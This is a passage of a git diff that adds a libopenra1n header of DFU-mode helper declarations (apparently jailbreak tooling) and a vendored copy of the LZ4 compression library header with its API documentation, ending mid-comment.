+#define DFU_STATE_MANIFEST 7 +#define DFU_STATE_MANIFEST_WAIT_RESET 8 + +#ifdef __cplusplus +extern "C" { +#endif + +uint16_t dfu_serial_number_get_cpid(char *serial); +bool dfu_serial_number_is_in_dfu_mode(char *serial); +bool dfu_serial_number_is_pwned(char *serial); +bool dfu_serial_number_is_in_yolo_dfu(char *serial); +bool device_serial_number_is_in_pongo_os(char *serial); + +#ifdef __cplusplus +} +#endif + +#endif // LIBOPENRA1N__DFU_H diff --git a/1stparty/libopenra1n/include/lz4/lz4.h b/1stparty/libopenra1n/include/lz4/lz4.h new file mode 100644 index 0000000..9723716 --- /dev/null +++ b/1stparty/libopenra1n/include/lz4/lz4.h @@ -0,0 +1,860 @@ +/* + * LZ4 - Fast LZ compression algorithm + * Header File + * Copyright (C) 2011-2020, Yann Collet. + + BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following disclaimer + in the documentation and/or other materials provided with the + distribution. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + You can contact the author at : + - LZ4 homepage : http://www.lz4.org + - LZ4 source repository : https://github.com/lz4/lz4 +*/ +#if defined (__cplusplus) +extern "C" { +#endif + +#ifndef LZ4_H_2983827168210 +#define LZ4_H_2983827168210 + +/* --- Dependency --- */ +#include /* size_t */ + + +/** + Introduction + + LZ4 is lossless compression algorithm, providing compression speed >500 MB/s per core, + scalable with multi-cores CPU. It features an extremely fast decoder, with speed in + multiple GB/s per core, typically reaching RAM speed limits on multi-core systems. + + The LZ4 compression library provides in-memory compression and decompression functions. + It gives full buffer control to user. + Compression can be done in: + - a single step (described as Simple Functions) + - a single step, reusing a context (described in Advanced Functions) + - unbounded multiple steps (described as Streaming compression) + + lz4.h generates and decodes LZ4-compressed blocks (doc/lz4_Block_format.md). + Decompressing such a compressed block requires additional metadata. + Exact metadata depends on exact decompression function. + For the typical case of LZ4_decompress_safe(), + metadata includes block's compressed size, and maximum bound of decompressed size. + Each application is free to encode and pass such metadata in whichever way it wants. + + lz4.h only handle blocks, it can not generate Frames. + + Blocks are different from Frames (doc/lz4_Frame_format.md). + Frames bundle both blocks and metadata in a specified manner. + Embedding metadata is required for compressed data to be self-contained and portable. + Frame format is delivered through a companion API, declared in lz4frame.h. + The `lz4` CLI can only manage frames. +*/ + +/*^*************************************************************** +* Export parameters +*****************************************************************/ +/* +* LZ4_DLL_EXPORT : +* Enable exporting of functions when building a Windows DLL +* LZ4LIB_VISIBILITY : +* Control library symbols visibility. +*/ +#ifndef LZ4LIB_VISIBILITY +# if defined(__GNUC__) && (__GNUC__ >= 4) +# define LZ4LIB_VISIBILITY __attribute__ ((visibility ("default"))) +# else +# define LZ4LIB_VISIBILITY +# endif +#endif +#if defined(LZ4_DLL_EXPORT) && (LZ4_DLL_EXPORT==1) +# define LZ4LIB_API __declspec(dllexport) LZ4LIB_VISIBILITY +#elif defined(LZ4_DLL_IMPORT) && (LZ4_DLL_IMPORT==1) +# define LZ4LIB_API __declspec(dllimport) LZ4LIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/ +#else +# define LZ4LIB_API LZ4LIB_VISIBILITY +#endif + +/*! LZ4_FREESTANDING : + * When this macro is set to 1, it enables "freestanding mode" that is + * suitable for typical freestanding environment which doesn't support + * standard C library. + * + * - LZ4_FREESTANDING is a compile-time switch. + * - It requires the following macros to be defined: + * LZ4_memcpy, LZ4_memmove, LZ4_memset. + * - It only enables LZ4/HC functions which don't use heap. + * All LZ4F_* functions are not supported. + * - See tests/freestanding.c to check its basic setup. + */ +#if defined(LZ4_FREESTANDING) && (LZ4_FREESTANDING == 1) +# define LZ4_HEAPMODE 0 +# define LZ4HC_HEAPMODE 0 +# define LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION 1 +# if !defined(LZ4_memcpy) +# error "LZ4_FREESTANDING requires macro 'LZ4_memcpy'." +# endif +# if !defined(LZ4_memset) +# error "LZ4_FREESTANDING requires macro 'LZ4_memset'." +# endif +# if !defined(LZ4_memmove) +# error "LZ4_FREESTANDING requires macro 'LZ4_memmove'." +# endif +#elif ! defined(LZ4_FREESTANDING) +# define LZ4_FREESTANDING 0 +#endif + + +/*------ Version ------*/ +#define LZ4_VERSION_MAJOR 1 /* for breaking interface changes */ +#define LZ4_VERSION_MINOR 9 /* for new (non-breaking) interface capabilities */ +#define LZ4_VERSION_RELEASE 4 /* for tweaks, bug-fixes, or development */ + +#define LZ4_VERSION_NUMBER (LZ4_VERSION_MAJOR *100*100 + LZ4_VERSION_MINOR *100 + LZ4_VERSION_RELEASE) + +#define LZ4_LIB_VERSION LZ4_VERSION_MAJOR.LZ4_VERSION_MINOR.LZ4_VERSION_RELEASE +#define LZ4_QUOTE(str) #str +#define LZ4_EXPAND_AND_QUOTE(str) LZ4_QUOTE(str) +#define LZ4_VERSION_STRING LZ4_EXPAND_AND_QUOTE(LZ4_LIB_VERSION) /* requires v1.7.3+ */ + +LZ4LIB_API int LZ4_versionNumber (void); /**< library version number; useful to check dll version; requires v1.3.0+ */ +LZ4LIB_API const char* LZ4_versionString (void); /**< library version string; useful to check dll version; requires v1.7.5+ */ + + +/*-************************************ +* Tuning parameter +**************************************/ +#define LZ4_MEMORY_USAGE_MIN 10 +#define LZ4_MEMORY_USAGE_DEFAULT 14 +#define LZ4_MEMORY_USAGE_MAX 20 + +/*! + * LZ4_MEMORY_USAGE : + * Memory usage formula : N->2^N Bytes (examples : 10 -> 1KB; 12 -> 4KB ; 16 -> 64KB; 20 -> 1MB; ) + * Increasing memory usage improves compression ratio, at the cost of speed. + * Reduced memory usage may improve speed at the cost of ratio, thanks to better cache locality. + * Default value is 14, for 16KB, which nicely fits into Intel x86 L1 cache + */ +#ifndef LZ4_MEMORY_USAGE +# define LZ4_MEMORY_USAGE LZ4_MEMORY_USAGE_DEFAULT +#endif + +#if (LZ4_MEMORY_USAGE < LZ4_MEMORY_USAGE_MIN) +# error "LZ4_MEMORY_USAGE is too small !" +#endif + +#if (LZ4_MEMORY_USAGE > LZ4_MEMORY_USAGE_MAX) +# error "LZ4_MEMORY_USAGE is too large !" +#endif + +/*-************************************ +* Simple Functions +**************************************/ +/*! LZ4_compress_default() : + * Compresses 'srcSize' bytes from buffer 'src' + * into already allocated 'dst' buffer of size 'dstCapacity'. + * Compression is guaranteed to succeed if 'dstCapacity' >= LZ4_compressBound(srcSize). + * It also runs faster, so it's a recommended setting. + * If the function cannot compress 'src' into a more limited 'dst' budget, + * compression stops *immediately*, and the function result is zero. + * In which case, 'dst' content is undefined (invalid). + * srcSize : max supported value is LZ4_MAX_INPUT_SIZE. + * dstCapacity : size of buffer 'dst' (which must be already allocated) + * @return : the number of bytes written into buffer 'dst' (necessarily <= dstCapacity) + * or 0 if compression fails + * Note : This function is protected against buffer overflow scenarios (never writes outside 'dst' buffer, nor read outside 'source' buffer). + */ +LZ4LIB_API int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity); + +/*! LZ4_decompress_safe() : + * @compressedSize : is the exact complete size of the compressed block. + * @dstCapacity : is the size of destination buffer (which must be already allocated), + * is an upper bound of decompressed size. + * @return : the number of bytes decompressed into destination buffer (necessarily <= dstCapacity) + * If destination buffer is not large enough, decoding will stop and output an error code (negative value). + * If the source stream is detected malformed, the function will stop decoding and return a negative result. + * Note 1 : This function is protected against malicious data packets : + * it will never writes outside 'dst' buffer, nor read outside 'source' buffer, + * even if the compressed block is maliciously modified to order the decoder to do these actions. + * In such case, the decoder stops immediately, and considers the compressed block malformed. + * Note 2 : compressedSize and dstCapacity must be provided to the function, the compressed block does not contain them. + * The implementation is free to send / store / derive this information in whichever way is most beneficial. + * If there is a need for a different format which bundles together both compressed data and its metadata, consider looking at lz4frame.h instead. + */ +LZ4LIB_API int LZ4_decompress_safe (const char* src, char* dst, int compressedSize, int dstCapacity); + + +/*-************************************ +* Advanced Functions +**************************************/ +#define LZ4_MAX_INPUT_SIZE 0x7E000000 /* 2 113 929 216 bytes */ +#define LZ4_COMPRESSBOUND(isize) ((unsigned)(isize) > (unsigned)LZ4_MAX_INPUT_SIZE ? 0 : (isize) + ((isize)/255) + 16) + +/*! LZ4_compressBound() : + Provides the maximum size that LZ4 compression may output in a "worst case" scenario (input data not compressible) + This function is primarily useful for memory allocation purposes (destination buffer size). + Macro LZ4_COMPRESSBOUND() is also provided for compilation-time evaluation (stack memory allocation for example). + Note that LZ4_compress_default() compresses faster when dstCapacity is >= LZ4_compressBound(srcSize) + inputSize : max supported value is LZ4_MAX_INPUT_SIZE + return : maximum output size in a "worst case" scenario + or 0, if input size is incorrect (too large or negative) +*/ +LZ4LIB_API int LZ4_compressBound(int inputSize); + +/*! LZ4_compress_fast() : + Same as LZ4_compress_default(), but allows selection of "acceleration" factor. + The larger the acceleration value, the faster the algorithm, but also the lesser the compression. + It's a trade-off. It can be fine tuned, with each successive value providing roughly +~3% to speed. + An acceleration value of "1" is the same as regular LZ4_compress_default() + Values <= 0 will be replaced by LZ4_ACCELERATION_DEFAULT (currently == 1, see lz4.c). + Values > LZ4_ACCELERATION_MAX will be replaced by LZ4_ACCELERATION_MAX (currently == 65537, see lz4.c). +*/ +LZ4LIB_API int LZ4_compress_fast (const char* src, char* dst, int srcSize, int dstCapacity, int acceleration); + +/*! LZ4_compress_fast_extState() : + * Same as LZ4_compress_fast(), using an externally allocated memory space for its state. + * Use LZ4_sizeofState() to know how much memory must be allocated, + * and allocate it on 8-bytes boundaries (using `malloc()` typically). + * Then, provide this buffer as `void* state` to compression function. + */ +LZ4LIB_API int LZ4_sizeofState(void); +LZ4LIB_API int LZ4_compress_fast_extState (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration); + + +/*! LZ4_compress_destSize() : + * Reverse the logic : compresses as much data as possible from 'src' buffer + * into already allocated buffer 'dst', of size >= 'targetDestSize'. + * This function either compresses the entire 'src' content into 'dst' if it's large enough, + * or fill 'dst' buffer completely with as much data as possible from 'src'. + * note: acceleration parameter is fixed to "default". + * + * *srcSizePtr : will be modified to indicate how many bytes where read from 'src' to fill 'dst'. + * New value is necessarily <= input value. + * @return : Nb bytes written into 'dst' (necessarily <= targetDestSize) + * or 0 if compression fails. + * + * Note : from v1.8.2 to v1.9.1, this function had a bug (fixed un v1.9.2+): + * the produced compressed content could, in specific circumstances, + * require to be decompressed into a destination buffer larger + * by at least 1 byte than the content to decompress. + * If an application uses `LZ4_compress_destSize()`, + * it's highly recommended to update liblz4 to v1.9.2 or better. + * If this can't be done or ensured, + * the receiving decompression function should provide + * a dstCapacity which is > decompressedSize, by at least 1 byte. + * See https://github.com/lz4/lz4/issues/859 for details + */ +LZ4LIB_API int LZ4_compress_destSize (const char* src, char* dst, int* srcSizePtr, int targetDstSize); + +/*! LZ4_decompress_safe_partial() : + * Decompress an LZ4 compressed block, of size 'srcSize' at position 'src', + * into destination buffer 'dst' of size 'dstCapacity'. + * Up to 'targetOutputSize' bytes will be decoded. + * The function stops decoding on reaching this objective. + * This can be useful to boost performance + * whenever only the beginning of a block is required. + * + * @return : the number of bytes decoded in `dst` (necessarily <= targetOutputSize) + * If source stream is detected malformed, function returns a negative result. + * + * Note 1 : @return can be < targetOutputSize, if compressed block contains less data. + * + * Note 2 : targetOutputSize must be <= dstCapacity + * + * Note 3 : this function effectively stops decoding on reaching targetOutputSize, + * so dstCapacity is kind of redundant. + * This is because in older versions of this function, + * decoding operation would still write complete sequences. + * Therefore, there was no guarantee that it would stop writing at exactly targetOutputSize, + * it could write more bytes, though only up to dstCapacity. + * Some "margin" used to be required for this operation to work properly. + * Thankfully, this is no longer necessary. + * The function nonetheless keeps the same signature, in an effort to preserve API compatibility. + * + * Note 4 : If srcSize is the exact size of the block, + * then targetOutputSize can be any value, + * including larger than the block's decompressed size. + * The function will, at most, generate block's decompressed size. + * + * Note 5 : If srcSize is _larger_ than block's compressed size, + * then targetOutputSize **MUST** be <= block's decompressed size. + * Otherwise, *silent corruption will occur*. + */ +LZ4LIB_API int LZ4_decompress_safe_partial (const char* src, char* dst, int srcSize, int targetOutputSize, int dstCapacity); + + +/*-********************************************* +* Streaming Compression Functions +***********************************************/ +typedef union LZ4_stream_u LZ4_stream_t; /* incomplete type (defined later) */ + +/** + Note about RC_INVOKED + + - RC_INVOKED is predefined symbol of rc.exe (the resource compiler which is part of MSVC/Visual Studio). + https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros + + - Since rc.exe is a legacy compiler, it truncates long symbol (> 30 chars) + and reports warning "RC4011: identifier truncated". + + - To eliminate the warning, we surround long preprocessor symbol with + "#if !defined(RC_INVOKED) ... #endif" block that means + "skip this block when rc.exe is trying to read it". +*/ +#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */ +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +LZ4LIB_API LZ4_stream_t* LZ4_createStream(void); +LZ4LIB_API int LZ4_freeStream (LZ4_stream_t* streamPtr); +#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */ +#endif + +/*! LZ4_resetStream_fast() : v1.9.0+ + * Use this to prepare an LZ4_stream_t for a new chain of dependent blocks + * (e.g., LZ4_compress_fast_continue()). + * + * An LZ4_stream_t must be initialized once before usage. + * This is automatically done when created by LZ4_createStream(). + * However, should the LZ4_stream_t be simply declared on stack (for example), + * it's necessary to initialize it first, using LZ4_initStream(). + * + * After init, start any new stream with LZ4_resetStream_fast(). + * A same LZ4_stream_t can be re-used multiple times consecutively + * and compress multiple streams, + * provided that it starts each new stream with LZ4_resetStream_fast(). + * + * LZ4_resetStream_fast() is much faster than LZ4_initStream(), + * but is not compatible with memory regions containing garbage data. + * + * Note: it's only useful to call LZ4_resetStream_fast() + * in the context of streaming compression. + * The *extState* functions perform their own resets. + * Invoking LZ4_resetStream_fast() before is redundant, and even counterproductive. + */ +LZ4LIB_API void LZ4_resetStream_fast (LZ4_stream_t* streamPtr); + +/*! LZ4_loadDict() : + * Use this function to reference a static dictionary into LZ4_stream_t. + * The dictionary must remain available during compression. + * LZ4_loadDict() triggers a reset, so any previous data will be forgotten. + * The same dictionary will have to be loaded on decompression side for successful decoding. + * Dictionary are useful for better compression of small data (KB range). + * While LZ4 accept any input as dictionary, + * results are generally better when using Zstandard's Dictionary Builder. + * Loading a size of 0 is allowed, and is the same as reset. + * @return : loaded dictionary size, in bytes (necessarily <= 64 KB) + */ +LZ4LIB_API int LZ4_loadDict (LZ4_stream_t* streamPtr, const char* dictionary, int dictSize); + +/*! LZ4_compress_fast_continue() : + * Compress 'src' content using data from previously compressed blocks, for better compression ratio. + * 'dst' buffer must be already allocated. + * If dstCapacity >= LZ4_compressBound(srcSize), compression is guaranteed to succeed, and runs faster. + * + * @return : size of compressed block + * or 0 if there is an error (typically, cannot fit into 'dst'). + * + * Note 1 : Each invocation to LZ4_compress_fast_continue() generates a new block. + * Each block has precise boundaries. + * Each block must be decompressed separately, calling LZ4_decompress_*() with relevant metadata. + * It's not possible to append blocks together and expect a single invocation of LZ4_decompress_*() to decompress them together. + * + * Note 2 : The previous 64KB of source data is __assumed__ to remain present, unmodified, at same address in memory ! + * + * Note 3 : When input is structured as a double-buffer, each buffer can have any size, including < 64 KB. + * Make sure that buffers are separated, by at least one byte. + * This construction ensures that each block only depends on previous block. + * + * Note 4 : If input buffer is a ring-buffer, it can have any size, including < 64 KB. + * + * Note 5 : After an error, the stream status is undefined (invalid), it can only be reset or freed. + */ +LZ4LIB_API int LZ4_compress_fast_continue (LZ4_stream_t* streamPtr, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration); + +/*! LZ4_saveDict() : + * If last 64KB data cannot be guaranteed to remain available at its current memory location, + * save it into a safer place (char* safeBuffer). + * This is schematically equivalent to a memcpy() followed by LZ4_loadDict(), + * but is much faster, because LZ4_saveDict() doesn't need to rebuild tables. + * @return : saved dictionary size in bytes (necessarily <= maxDictSize), or 0 if error. + */ +LZ4LIB_API int LZ4_saveDict (LZ4_stream_t* streamPtr, char* safeBuffer, int maxDictSize); + + +/*-********************************************** +* Streaming Decompression Functions +* Bufferless synchronous API +************************************************/ +typedef union LZ4_streamDecode_u LZ4_streamDecode_t; /* tracking context */ + +/*! LZ4_createStreamDecode() and LZ4_freeStreamDecode() : + * creation / destruction of streaming decompression tracking context. + * A tracking context can be re-used multiple times. + */ +#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */ +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +LZ4LIB_API LZ4_streamDecode_t* LZ4_createStreamDecode(void); +LZ4LIB_API int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream); +#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */ +#endif + +/*! LZ4_setStreamDecode() : + * An LZ4_streamDecode_t context can be allocated once and re-used multiple times. + * Use this function to start decompression of a new stream of blocks. + * A dictionary can optionally be set. Use NULL or size 0 for a reset order. + * Dictionary is presumed stable : it must remain accessible and unmodified during next decompression. + * @return : 1 if OK, 0 if error + */ +LZ4LIB_API int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize); + +/*! LZ4_decoderRingBufferSize() : v1.8.2+ + * Note : in a ring buffer scenario (optional), + * blocks are presumed decompressed next to each other + * up to the moment there is not enough remaining space for next block (remainingSize < maxBlockSize), + * at which stage it resumes from beginning of ring buffer. + * When setting such a ring buffer for streaming decompression, + * provides the minimum size of this ring buffer + * to be compatible with any source respecting maxBlockSize condition. + * @return : minimum ring buffer size, + * or 0 if there is an error (invalid maxBlockSize). + */ +LZ4LIB_API int LZ4_decoderRingBufferSize(int maxBlockSize); +#define LZ4_DECODER_RING_BUFFER_SIZE(maxBlockSize) (65536 + 14 + (maxBlockSize)) /* for static allocation; maxBlockSize presumed valid */ + +/*! LZ4_decompress_safe_continue() : + * This decoding function allows decompression of consecutive blocks in "streaming" mode. + * The difference with the usual independent blocks is that + * new blocks are allowed to find references into former blocks. + * A block is an unsplittable entity, and must be presented entirely to the decompression function. + * LZ4_decompress_safe_continue() only accepts one block at a time. + * It's modeled after `LZ4_decompress_safe()` and behaves similarly. + * + * @LZ4_streamDecode : decompression state, tracking the position in memory of past data + * @compressedSize : exact complete size of one compressed block. + * @dstCapacity : size of destination buffer (which must be already allocated), + * must be an upper bound of decompressed size. + * @return : number of bytes decompressed into destination buffer (necessarily <= dstCapacity) + * If destination buffer is not large enough, decoding will stop and output an error code (negative value). + * If the source stream is detected malformed, the function will stop decoding and return a negative result. + * + * The last 64KB of previously decoded data *must* remain available and unmodified + * at the memory position where they were previously decoded. + * If less than 64KB of data has been decoded, all the data must be present. + * + * Special : if decompression side sets a ring buffer, it must respect one of the following conditions : + * - Decompression buffer size is _at least_ LZ4_decoderRingBufferSize(maxBlockSize). + * maxBlockSize is the maximum size of any single block. It can have any value > 16 bytes. + * In which case, encoding and decoding buffers do not need to be synchronized. + * Actually, data can be produced by any source compliant with LZ4 format specification, and respecting maxBlockSize. + * - Synchronized mode : + * Decompression buffer size is _exactly_ the same as compression buffer size, + * and follows exactly same update rule (block boundaries at same positions), + * and decoding function is provided with exact decompressed size of each block (exception for last block of the stream), + * _then_ decoding & encoding ring buffer can have any size, including small ones ( < 64 KB). + * - Decompression buffer is larger than encoding buffer, by a minimum of maxBlockSize more bytes. + * In which case, encoding and decoding buffers do not need to be synchronized, + * and encoding ring buffer can have any size, including small ones ( < 64 KB). + * + * Whenever these conditions are not possible, + * save the last 64KB of decoded data into a safe buffer where it can't be modified during decompression, + * then indicate where this data is saved using LZ4_setStreamDecode(), before decompressing next block. +*/ +LZ4LIB_API int +LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode, + const char* src, char* dst, + int srcSize, int dstCapacity); + + +/*! LZ4_decompress_safe_usingDict() : + * Works the same as + * a combination of LZ4_setStreamDecode() followed by LZ4_decompress_safe_continue() + * However, it's stateless: it doesn't need any LZ4_streamDecode_t state. + * Dictionary is presumed stable : it must remain accessible and unmodified during decompression. + * Performance tip : Decompression speed can be substantially increased + * when dst == dictStart + dictSize. + */ +LZ4LIB_API int +LZ4_decompress_safe_usingDict(const char* src, char* dst, + int srcSize, int dstCapacity, + const char* dictStart, int dictSize); + +/*! LZ4_decompress_safe_partial_usingDict() : + * Behaves the same as LZ4_decompress_safe_partial() + * with the added ability to specify a memory segment for past data. + * Performance tip : Decompression speed can be substantially increased + * when dst == dictStart + dictSize. + */ +LZ4LIB_API int +LZ4_decompress_safe_partial_usingDict(const char* src, char* dst, + int compressedSize, + int targetOutputSize, int maxOutputSize, + const char* dictStart, int dictSize); + +#endif /* LZ4_H_2983827168210 */ + + +/*^************************************* + * !!!!!! STATIC LINKING ONLY !!!!!! + ***************************************/ + +/*-**************************************************************************** + * Experimental section + * + * Symbols declared in this section must be considered unstable. Their + * signatures or semantics may change, or they may be removed altogether in the + * future. They are therefore only safe to depend on when the caller is + * statically linked against the library. + * + * To protect against unsafe usage, not only are the declarations guarded, + * the definitions are hidden by default + * when building LZ4 as a shared/dynamic library. + * + * In order to access these declarations, + * define LZ4_STATIC_LINKING_ONLY in your application + * before including LZ4's headers. + * + * In order to make their implementations accessible dynamically, you must + * define LZ4_PUBLISH_STATIC_FUNCTIONS when building the LZ4 library. + ******************************************************************************/ + +#ifdef LZ4_STATIC_LINKING_ONLY + +#ifndef LZ4_STATIC_3504398509 +#define LZ4_STATIC_3504398509 + +#ifdef LZ4_PUBLISH_STATIC_FUNCTIONS +#define LZ4LIB_STATIC_API LZ4LIB_API +#else +#define LZ4LIB_STATIC_API +#endif + + +/*! LZ4_compress_fast_extState_fastReset() : + * A variant of LZ4_compress_fast_extState(). + * + * Using this variant avoids an expensive initialization step. + * It is only safe to call if the state buffer is known to be correctly initialized already + * (see above comment on LZ4_resetStream_fast() for a definition of "correctly initialized"). + * From a high level, the difference is that + * this function initializes the provided state with a call to something like LZ4_resetStream_fast() + * while LZ4_compress_fast_extState() starts with a call to LZ4_resetStream(). + */ +LZ4LIB_STATIC_API int LZ4_compress_fast_extState_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration); + +/*! LZ4_attach_dictionary() : + * This is an experimental API that allows + * efficient use of a static dictionary many times. + * + * Rather than re-loading the dictionary buffer into a working context before + * each compression, or copying a pre-loaded dictionary's LZ4_stream_t into a + * working LZ4_stream_t, this function introduces a no-copy setup mechanism, + * in which the working stream references the dictionary stream in-place. + * + * Several assumptions are made about the state of the dictionary stream. + * Currently, only streams which have been prepared by LZ4_loadDict() should + * be expected to work. + * + * Alternatively, the provided dictionaryStream may be NULL, + * in which case any existing dictionary stream is unset. + * + * If a dictionary is provided, it replaces any pre-existing stream history. + * The dictionary contents are the only history that can be referenced and + * logically immediately precede the data compressed in the first subsequent + * compression call. + * + * The dictionary will only remain attached to the working stream through the + * first compression call, at the end of which it is cleared. The dictionary + * stream (and source buffer) must remain in-place / accessible / unchanged + * through the completion of the first compression call on the stream. + */ +LZ4LIB_STATIC_API void +LZ4_attach_dictionary(LZ4_stream_t* workingStream, + const LZ4_stream_t* dictionaryStream); + + +/*! In-place compression and decompression + * + * It's possible to have input and output sharing the same buffer, + * for highly constrained memory environments. + * In both cases, it requires input to lay at the end of the buffer, + * and decompression to start at beginning of the buffer. + * Buffer size must feature some margin, hence be larger than final size. + * + * |<------------------------buffer--------------------------------->| + * |<-----------compressed data--------->| + * |<-----------decompressed size------------------>| + * |<----margin---->| + * + * This technique is more useful for decompression, + * since decompressed size is typically larger, + * and margin is short. + * + * In-place decompression will work inside any buffer + * which size is >= LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize). + * This presumes that decompressedSize > compressedSize. + * Otherwise, it means compression actually expanded data, + * and it would be more efficient to store such data with a flag indicating it's not compressed. + * This can happen when data is not compressible (already compressed, or encrypted). + * + * For in-place compression, margin is larger, as it must be able to cope with both + * history preservation, requiring input data to remain unmodified up to LZ4_DISTANCE_MAX, + * and data expansion, which can happen when input is not compressible. + * As a consequence, buffer size requirements are much higher, + * and memory savings offered by in-place compression are more limited. + * + * There are ways to limit this cost for compression : + * - Reduce history size, by modifying LZ4_DISTANCE_MAX. + * Note that it is a compile-time constant, so all compressions will apply this limit. + * Lower values will reduce compression ratio, except when input_size < LZ4_DISTANCE_MAX, + * so it's a reasonable trick when inputs are known to be small. + * - Require the compressor to deliver a "maximum compressed size". + * This is the `dstCapacity` parameter in `LZ4_compress*()`. + * When this size is < LZ4_COMPRESSBOUND(inputSize), then compression can fail, + * in which case, the return code will be 0 (zero). + * The caller must be ready for these cases to happen, + * and typically design a backup scheme to send data uncompressed. + * The combination of both techniques can significantly reduce + * the amount of margin required for in-place compression. + * + * In-place compression can work in any buffer + * which size is >= (maxCompressedSize) + * with maxCompressedSize == LZ4_COMPRESSBOUND(srcSize) for guaranteed compression success. + * LZ4_COMPRESS_INPLACE_BUFFER_SIZE() depends on both maxCompressedSize and LZ4_DISTANCE_MAX, + * so it's possible to reduce memory requirements by playing with them. + */ + +#define LZ4_DECOMPRESS_INPLACE_MARGIN(compressedSize) (((compressedSize) >> 8) + 32) +#define LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize) ((decompressedSize) + LZ4_DECOMPRESS_INPLACE_MARGIN(decompressedSize)) /**< note: presumes that compressedSize < decompressedSize. note2: margin is overestimated a bit, since it could use compressedSize instead */ + +#ifndef LZ4_DISTANCE_MAX /* history window size; can be user-defined at compile time */ +# define LZ4_DISTANCE_MAX 65535 /* set to maximum value by default */ +#endif + +#define LZ4_COMPRESS_INPLACE_MARGIN (LZ4_DISTANCE_MAX + 32) /* LZ4_DISTANCE_MAX can be safely replaced by srcSize when it's smaller */ +#define LZ4_COMPRESS_INPLACE_BUFFER_SIZE(maxCompressedSize) ((maxCompressedSize) + LZ4_COMPRESS_INPLACE_MARGIN) /**< maxCompressedSize is generally LZ4_COMPRESSBOUND(inputSize), but can be set to any lower value, with the risk that compression can fail (return code 0(zero)) */ + +#endif /* LZ4_STATIC_3504398509 */ +#endif /* LZ4_STATIC_LINKING_ONLY */ + + + +#ifndef LZ4_H_98237428734687 +#define LZ4_H_98237428734687 + +/*-************************************************************ + * Private Definitions + ************************************************************** + * Do not use these definitions directly. + * They are only exposed to allow static allocation of `LZ4_stream_t` and `LZ4_streamDecode_t`. + * Accessing members will expose user code to API and/or ABI break in future versions of the library. + **************************************************************/ +#define LZ4_HASHLOG (LZ4_MEMORY_USAGE-2) +#define LZ4_HASHTABLESIZE (1 << LZ4_MEMORY_USAGE) +#define LZ4_HASH_SIZE_U32 (1 << LZ4_HASHLOG) /* required as macro for static allocation */ + +#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */) +# include + typedef int8_t LZ4_i8; + typedef uint8_t LZ4_byte; + typedef uint16_t LZ4_u16; + typedef uint32_t LZ4_u32; +#else + typedef signed char LZ4_i8; + typedef unsigned char LZ4_byte; + typedef unsigned short LZ4_u16; + typedef unsigned int LZ4_u32; +#endif + +/*! LZ4_stream_t : + * Never ever use below internal definitions directly ! + * These definitions are not API/ABI safe, and may change in future versions. + * If you need static allocation, declare or allocate an LZ4_stream_t object. +**/ + +typedef struct LZ4_stream_t_internal LZ4_stream_t_internal; +struct LZ4_stream_t_internal { + LZ4_u32 hashTable[LZ4_HASH_SIZE_U32]; + const LZ4_byte* dictionary; + const LZ4_stream_t_internal* dictCtx; + LZ4_u32 currentOffset; + LZ4_u32 tableType; + LZ4_u32 dictSize; + /* Implicit padding to ensure structure is aligned */ +}; + +#define LZ4_STREAM_MINSIZE ((1UL << LZ4_MEMORY_USAGE) + 32) /* static size, for inter-version compatibility */ +union LZ4_stream_u { + char minStateSize[LZ4_STREAM_MINSIZE]; + LZ4_stream_t_internal internal_donotuse; +}; /* previously typedef'd to LZ4_stream_t */ + + +/*! LZ4_initStream() : v1.9.0+ + * An LZ4_stream_t structure must be initialized at least once. + * This is automatically done when invoking LZ4_createStream(), + * but it's not when the structure is simply declared on stack (for example). + * + * Use LZ4_initStream() to properly initialize a newly declared LZ4_stream_t. + * It can also initialize any arbitrary buffer of sufficient size, + * and will @return a pointer of proper type upon initialization. + * + * Note : initialization fails if size and alignment conditions are not respected. + * In which case, the function will @return NULL. + * Note2: An LZ4_stream_t 